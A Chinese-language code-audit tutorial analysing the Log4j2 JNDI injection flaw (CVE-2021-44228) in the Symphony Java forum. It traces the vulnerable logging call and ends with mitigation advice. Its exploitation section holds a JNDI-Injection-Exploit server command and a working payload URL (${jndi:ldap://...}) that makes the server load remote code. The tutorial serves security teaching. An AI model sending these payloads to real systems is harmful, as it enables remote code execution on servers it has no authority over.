Symphony代码审计-JAVA
字数 2095 2025-08-23 18:31:18
Symphony论坛Log4j2漏洞分析与利用教学文档
0x00 前言
本教学文档基于Symphony论坛系统的Log4j2漏洞(CVE-2021-44228)进行详细分析,涵盖环境搭建、漏洞原理、代码审计和利用方法。
目标系统概述
- 系统名称:Symphony
- 类型:用Java实现的现代化社区(论坛/BBS/社交网络/博客)平台
- 特点:100%开源,实现了论坛、问答社区、社交网络等功能
- 源码版本:v3.6.3
0x01 环境准备
1. 基础环境要求
- 开发工具:IntelliJ IDEA 2021.1.3
- JDK版本:1.8.0_181
- 数据库:MySQL 5.7.26
- 邮件服务:SendCloud Mail(用于用户注册验证)
2. 环境搭建步骤
-
下载源码:
https://github.com/88250/symphony/archive/refs/tags/v3.6.3.zip -
数据库配置:
- 手动创建数据库:
b3log_symphony - 修改配置文件:
src/main/resources/local.properties中的数据库连接信息
- 手动创建数据库:
-
邮件服务配置:
- 注册SendCloud账号获取API密钥
- 修改配置文件:
src/main/resources/symphony.properties中的邮件配置apiUser:SendCloud API用户apiKey:SendCloud API密钥
-
启动项目:
- 运行主类:
src/main/java/org/b3log/symphony/Server.java#main()
- 运行主类:
0x02 漏洞背景
Log4j2漏洞(CVE-2021-44228)
- 影响版本:Log4j2 < 2.15.0-rc2
- 漏洞类型:JNDI注入导致的远程代码执行(RCE)
- 漏洞原理:当Log4j2处理包含JNDI查找的日志消息时,会解析并执行查找,导致攻击者可以加载远程恶意代码
目标系统受影响组件
- Log4j2版本:2.13.2
- 日志级别配置:
src/main/resources/log4j2.xml中设置为Info级别
0x03 代码审计过程
1. 漏洞触发条件分析
Log4j2在以下情况下会记录日志:
- 日志级别(调用) >= 系统设置的
intLevel - 目标系统设置为
Info级别,因此以下级别的日志调用会触发记录:fatalerrorwarninfo
2. 寻找可利用的日志调用点
审计目标:寻找参数可控的logger调用,特别是用户输入直接作为日志消息的情况。
关键漏洞点:
src/main/java/org/b3log/symphony/processor/ArticleProcessor.java#showAddArticle()
漏洞代码分析:
public void showAddArticle(final HttpServletRequest request, final HttpServletResponse response) throws Exception {
// ...
String type = request.getParameter("type");
try {
Integer.parseInt(type);
} catch (final Exception e) {
logger.log(Level.ERROR, "Converts article type [" + type + "] failed", e);
}
// ...
}
触发条件:
type参数不是整数时触发异常处理- 异常处理中将
type参数直接拼接到日志消息中 - 日志级别为
ERROR,高于系统设置的INFO级别,会被记录
3. 调用路径分析
- 入口URL:
/post - HTTP方法:GET
- 必需参数:
tags(必须提供值才能使代码执行到漏洞点)
0x04 漏洞利用方法
1. 准备攻击环境
- 搭建JNDI服务:
- 使用工具:JNDI-Injection-Exploit
- 启动命令示例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "恶意命令" -A "攻击者IP"
2. 构造攻击请求
攻击步骤:
- 注册并登录一个用户(需要有效的邮件服务配置)
- 发送恶意请求触发漏洞
Payload示例:
/post?type=${jndi:ldap://127.0.0.1:1389/e3ccbf}&tags=1
参数说明:
type:包含JNDI查找的恶意字符串tags:任意值(确保代码执行到漏洞点)
3. 攻击效果
当请求被处理时:
- 系统尝试将
type参数转为整数失败 - 进入异常处理流程
- 记录包含JNDI查找的日志消息
- Log4j2解析并执行JNDI查找
- 连接到攻击者控制的LDAP服务器
- 加载并执行恶意代码
0x05 防御建议
1. 临时缓解措施
- 设置JVM参数:
-Dlog4j2.formatMsgNoLookups=true - 升级Log4j2到最新安全版本(≥2.15.0-rc2)
2. 长期解决方案
-
升级依赖:
- 将Log4j2升级到最新安全版本
- 使用Maven依赖管理确保所有子模块都使用安全版本
-
输入验证:
- 对所有用户输入进行严格验证
- 对可能用于日志记录的参数进行特殊字符过滤
-
安全编码实践:
- 避免将用户输入直接拼接到日志消息中
- 使用占位符方式记录日志,如:
logger.error("Convert failed for input: {}", sanitizedInput)
-
日志记录策略:
- 在生产环境中限制日志级别,避免记录不必要的信息
- 对日志输出进行监控和过滤
0x06 总结
本教学文档详细分析了Symphony论坛系统中存在的Log4j2漏洞,从环境搭建到漏洞利用的全过程。通过此案例,我们可以学习到:
- 第三方组件安全性的重要性
- 日志记录中潜在的安全风险
- 输入验证的必要性
- 依赖管理的安全实践
建议开发者在日常开发中:
- 定期检查项目依赖的安全公告
- 建立完善的依赖更新机制
- 对用户输入保持"不信任"原则
- 实施纵深防御策略